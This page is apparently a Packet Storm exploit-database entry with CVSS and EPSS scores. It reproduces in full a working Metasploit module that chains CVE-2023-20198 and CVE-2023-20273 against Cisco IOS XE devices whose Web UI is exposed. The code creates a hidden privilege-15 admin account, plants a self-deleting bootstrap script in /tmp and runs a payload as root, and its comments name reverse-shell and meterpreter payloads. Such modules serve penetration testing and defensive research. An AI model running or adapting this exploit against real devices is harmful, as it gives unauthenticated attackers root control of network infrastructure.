Lucene search

K
packetstormSfewer-r7, metasploit.comPACKETSTORM:175674
HistoryNov 14, 2023 - 12:00 a.m.

Cisco IOX XE Unauthenticated Remote Code Execution

2023-11-1400:00:00
sfewer-r7, metasploit.com
packetstormsecurity.com
446
metasploit
cisco
remote code execution
vulnerable devices
web ui
root privileges
cve-2023-20198
cve-2023-20273
cisco security advisory
talos intelligence
exploitation
vulnerable versions
technical details
linux
unix

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.2 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.915 High

EPSS

Percentile

98.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HTTP::CiscoIosXe  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cisco IOX XE Unauthenticated RCE Chain',  
'Description' => %q{  
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE  
devices which have the Web UI exposed. An attacker can execute a payload with root privileges.  
  
The vulnerable IOS XE versions are:  
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,  
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,  
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,  
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,  
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,  
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,  
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,  
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,  
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,  
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,  
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,  
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,  
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,  
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,  
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,  
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,  
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,  
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,  
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,  
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,  
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,  
17.11.99SW  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit  
],  
'References' => [  
['CVE', '2023-20198'],  
['CVE', '2023-20273'],  
# Vendor advisories.  
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'],  
['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'],  
# Vendor list of (205) vulnerable versions.  
['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'],  
# Technical details on CVE-2023-20198.  
['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'],  
['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'],  
# Technical details on CVE-2023-20273.  
['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'],  
# Full details of a successful exploitation attempt from a honey pot.  
['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'],  
],  
'DisclosureDate' => '2023-10-16',  
'Privileged' => true,  
'Platform' => %w[linux unix],  
'Arch' => [ARCH_CMD],  
'Targets' => [  
[  
# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:  
# cmd/linux/http/x64/meterpreter/reverse_tcp  
# cmd/linux/http/x64/shell/reverse_tcp  
# cmd/linux/http/x86/shell/reverse_tcp  
'Linux Command',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_CMD]  
},  
],  
[  
# Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads:  
# cmd/unix/python/meterpreter/reverse_tcp  
# cmd/unix/reverse_bash  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => [ARCH_CMD]  
},  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of  
# 'global' should work, but exposing this as an option will allow for usage in more complex network setups.  
# A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to  
# inspect a devices configuration to see an appropriate VRF to use.  
OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']),  
# We may need to try and execute a command a second time if it fails the first time. This option is the maximum  
# number of seconds to keep trying.  
OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30])  
]  
)  
end  
  
def check  
# First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with  
# the Web UI exposed (which is the vulnerable component).  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri('webui')  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# We look for one of two identifiers to ensure the request to /webui above returns something with Cisco in the content.  
if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))  
return CheckCode::Unknown('Web UI not detected')  
end  
  
# By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,  
# so if this request succeeds, then we known the target is vulnerable.  
res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)  
  
# If the above request failed, then the target is safe.  
return CheckCode::Safe unless res  
  
version = 'Cisco IOS XE Software'  
  
# If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable  
# (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format  
# for the version information so our regex wont work.  
# Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2  
if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/  
version = Regexp.last_match(1)  
end  
  
CheckCode::Vulnerable(version)  
end  
  
def exploit  
admin_username = rand_text_alpha(8)  
admin_password = rand_text_alpha(8)  
  
# Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account.  
unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION)  
fail_with(Failure::UnexpectedReply, 'Failed to create admin user')  
end  
  
begin  
print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'")  
  
# Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload...  
  
# A shell script to execute the Metasploit payload. Will delete itself upon execution.  
bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}"  
  
# The location of our bootstrap script.  
bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}"  
  
# NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and  
# 17.8 to work as expected. Version 16.* did not work when semi colons were present in the command line.  
  
# Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems  
# with restricted chars, and leverage openssl to decode and write the contents to disk.  
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do  
next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", admin_username, admin_password)  
end  
  
unless success  
fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file')  
end  
  
# Make the script executable.  
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do  
next run_os_command("chmod +x #{bootstrap_file}", admin_username, admin_password)  
end  
  
unless success  
fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file')  
end  
  
# Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by  
# default. The VRF allows the executed script to route its network traffic back the the framework. The map_chvrf.sh  
# scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply.  
success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do  
next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", admin_username, admin_password)  
end  
  
unless success  
fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file')  
end  
ensure  
print_status("Removing user '#{admin_username}'")  
  
# Leverage CVE-2023-20198 to remove the admin account we previously created.  
unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION)  
print_warning('Failed to remove user')  
end  
end  
end  
  
end  
`

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.2 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.915 High

EPSS

Percentile

98.9%